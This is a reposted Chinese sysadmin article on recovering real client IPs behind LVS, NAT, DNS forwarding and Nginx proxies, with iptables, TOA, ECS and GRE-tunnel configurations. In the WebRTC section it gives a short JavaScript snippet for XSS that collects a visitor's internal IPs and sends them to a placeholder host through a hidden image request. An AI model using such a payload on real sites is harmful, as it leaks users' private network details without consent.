《代理、轉發等多種場景下,如何獲取用戶真實IP?》要點:
本文介紹了代理、轉發等多種場景下,如何獲取用戶真實IP?,希望對您有用。如果有疑問,可以聯系我們。
工作中會經常碰到需要進行轉發之類的需求,比如LVS轉發、NAT轉發,或者在BGP網絡架設一個端口轉發來提高小運營商網絡玩家的網絡體驗等.
BGP進行游戲端口轉發之前提到過,架構也比較簡單清晰明了:
這種簡單的轉發架構可以在很多地方應用.不過這里有個源IP識別的問題,A用戶通過B機器的優質網絡去訪問服務器C,這個時候服務器C認到的用戶IP就不是A而是變成了B服務器了,也就是說用戶原始IP不見了,只有中轉機器的IP.
其實這個情況在技術上也是可以解決的,類似的獲取原始IP的情況比較多,下面來小列舉一下.
公網服務器可以獲取到用戶辦公網的內網IP,這個有點顛覆了以前的知識,比如用火狐瀏覽器訪問這個地址https://diafygi.github.io/webrtc-ips/就會在頁面上顯示你的VPN或者內網IP,這里利用的是WebRTC技術.
WebRTC采用STUN等協議棧對網絡中的NAT進行穿透.用戶發送請求至服務器,STUN服務器會返回用戶所用系統的IP地址和局域網地址.
在XSS時候想要用戶自動提交內網IP的話就在里面再加一小段js即可:
var ips = ‘ips:’; getIPs(function(ip) { ips = ips + ‘/’ + ip; ? ?document.write(‘<img src=”http://IP/ip.php?c=’ + ips + ‘” width=0 height=0 border=0 />’); });
上阿里云高防之后,因為有一層LVS之類的浮動IP映射關系,服務器獲取到的用戶IP會變為阿里云的浮動IP,不過他們有提供一個內核級別的toa模塊來變相實現獲取用戶IP的需求.
原理比較簡單,在tcp協議里面多添加了個option字段,把源ip和端口改為16進制然后加到里面一起傳到后端,然后后端就利用toa模塊進行自動識別這個option字段的值改為IP地址即可.
在做轉發時候,用tcpdump抓包的結果是這樣:
里面有個不被識別的option字段,用wireshark讀取和正常的tcp包進行對比如下:
原來的正常tcp包:
經過轉發的tcp包,下面多了8個字節
而且這8個字節用16進制進行轉換就是源ip地址:
Toa模塊對系統的函數進行了修改,但是tcpdump之類的網絡層是讀取不到用戶原始IP,需要應用層用getpeername函數進行自動識別,這已經比較有效地滿足了常見的程序來獲取真實IP的需求.
項目地址 https://github.com/alibaba/ali_kernel_rpm
不過對用戶真實IP需求度不高的場景可以忽略.
DNS的解析也會有個用戶原始IP的需求,比如智能DNS是根據用戶IP來做區分處理,但是如果經過了個DNS轉發就亂了,上層DNS服務器只能認到中轉DNS的服務器IP導致解析混亂.
這個問題肯定是可以解決,因為現實場景中就已經證明一般不存在這個問題,雖然經過多層轉發,智能DNS還是可以根據用戶網絡運營商來智能處理.
BIND有個ECS功能,前面文章有談到過ECS屬性,在DNS轉發時候可以把源IP加到數據屬性里面,這樣上層DNS就可以識別到真實用戶IP了,用dig的+clinet=IP來使用ECS請求解析的方式可以進行測試.
實際場景中如果要用到的話,需要多加一層來解決,因為用戶這里的請求都是普通的DNS請求,不是ECS請求,需要手動轉發一下,比如可以用同事修改的edns的go語言版本來進行轉發:
核心功能就是把用戶來源IP自動加為ECS屬性再轉發到上層DNS,上層DNS如果支持ECS功能就可以根據這個值來做相應處理了.
Nginx的反向代理的用戶IP識別問題是最常見的情況,前面文章也曾提到過,有兩種方式來實現.
第一個方式是最簡單常見的,提供個X-Forwarded-For參數給后端程序即可.
proxy_set_header ? X-Real-IP ? ? ? ?$remote_addr; proxy_set_header ? X-Forwarded-For ?$proxy_add_x_forwarded_for;
不過這個變量是可以偽造的,不能輕信.
另外一個是用Nginx的realip模塊,這個比較高級點,可以讓代理在應用層中變為透明的,不需要修改代碼即可直接正常處理好相關的IP邏輯.
具體情況參考之前的文章.
這里以DNS應用來對NAT轉發這個情況進行詳細闡述下,因為做過BGP轉發的情景應該都碰到過用戶IP不真實的情況.
模擬場景比較簡單,用戶A、B需要通過舊DNS服務器D進行轉發到新DNS服務器C來進行智能解析,這里不用ECS的解析方式,用從網絡層NAT解決的方式來處理.
首先在上面實現普通的端口轉發,打開net.ipv4.ip_forward = 1之后配置防火墻:
-A PREROUTING -d 10.0.3.254 -p udp –dport 53 -j DNAT –to-destination 172.16.10.17:53 -A POSTROUTING -d 172.16.10.17 ?-j SNAT –to 10.0.3.254
然后進行智能解析測試,通過不同網段用戶進行解析,很明顯就是新DNS這個C機器只可以識別到中轉的D機器,無法識別到用戶A或者B的IP,導致智能解析失敗:
1.5.2 解決思路
嘗試了另外一個策略,先把D中轉的NAT策略里面POSTROUTING去掉,重新測試發現有變化了:
提示解析失敗.
在舊DNS這個D服務器上面抓包看下現在的現象
可以看到的是數據包已經轉發到新dns機器C上面去了,但是沒有回來,我們在C上面抓包可以看到C是直接把數據包返回給了用戶:
現在數據走向圖:
響應的數據是通過黃色線直接返回給用戶,而不是通過紅色線原路返回,這樣好像是一個正常的數據輪回,用戶也接收到了數據,但是來源IP變了,不是期望的10.0.3.254,而是從新DNS服務器直接返回,但這個數據會認為是不合法的,所以被用戶端丟棄了,返回報錯信息,不是期望的來源IP(這里用wireshark抓包可以可以看到有正常的智能解析響應包):
NAT原理已經限制在那里了,雖然有進行多次的NAT修改和iprule的策略路由修改來測試,但是都行不通,成功再次失敗.
1.5.3 成功識別
看起來無法解決的技術難題最終還是解決好了.
之前D機器只做PREROUTING,不做POSTROUTING,已經是個大概模型了,可以正常NAT,也可以正常識別到源IP,用戶也會收到正確的解析回應,只是因為與TCP期望的返回源IP不對被應用層丟棄而已.
解決的關鍵點D機器到C機器的網絡拓撲,因為是返回的不是期望的IP來源,所以如果能讓返回的數據包也經過一下D機器,從D返回給用戶就可以了.
但是C機器返回信息給用戶會走默認網關,不會按照預期的線路返回,如果讓他正常走D回來就必須添加POSTROUTING修改用戶源IP,這里兩者不可兼得.
不過讓返回的數據包不直接走網關的方式還有另外一個實現方式就是架設一個直通的網絡隧道,嘗試在C和D之間架設一個上次《VPN雜談》里面談到的GRE隧道來通訊.
新架構如圖:
相關操作也簡單明了.
C機器命令:
modprobe ip_gre ip tunnel add gre1 mode gre remote 10.0.3.254 local 172.16.10.17 ttl 255 ip link set gre1 up ip addr add 192.10.10.2 peer 192.10.10.1 dev gre1
D機器命令:
modprobe ip_gre ip tunnel add gre1 mode gre remote 172.16.10.17 local 10.0.3.254 ttl 255 ip link set gre1 up ip addr add 192.10.10.1 peer 192.10.10.2 dev gre1
在C和D之間有直通的網絡隧道之后,D在做PREROUTING轉發的時候轉發到對方的GRE隧道IP:
-A PREROUTING -d 10.0.3.254 -p udp –dport 53 -j DNAT –to-destination 192.10.10.2:53
簡單測試下可以發現用戶的中轉流量已經通過隧道轉過來了,但是響應的數據沒有回去.
通過抓包可以看到沒有回去是因為沒有加這個特殊網絡的回去路由,再在C機器上加個策略路由,讓從隧道來的流量再從隧道返回去:
#新增策略路由gre表 echo “101 gre” >> /etc/iproute2/rt_tables #添加具體策略 /sbin/ip route add default via 192.10.10.2 table gre /sbin/ip rule add from 192.10.10.0/24 table gre
路由加好之后效果立竿見影,數據包通過隧道成功原路返回:
用戶端通過NAT之后成功智能解析的效果:
問題解決.
另外,做NAT不但是Linux可以做,Windows也可以做NAT,添加“網絡策略和訪問服務“即可,效果也大同小異.
經過一番折騰,文章開始說的BGP轉發如果一定要實現保留用戶原始IP的話思路也很清晰了.
在B和C機器創建GRE隧道,然后NAT地址指向C機器的GRE隧道IP就可以解決了,如果是內網環境還可以直接拉網線解決,直接兩個網卡對接一條網線或者經過同一個交換機在同一個網段即可.
文章來自微信公眾號:運維軍團
轉載請注明本頁網址:
http://www.snjht.com/jiaocheng/4232.html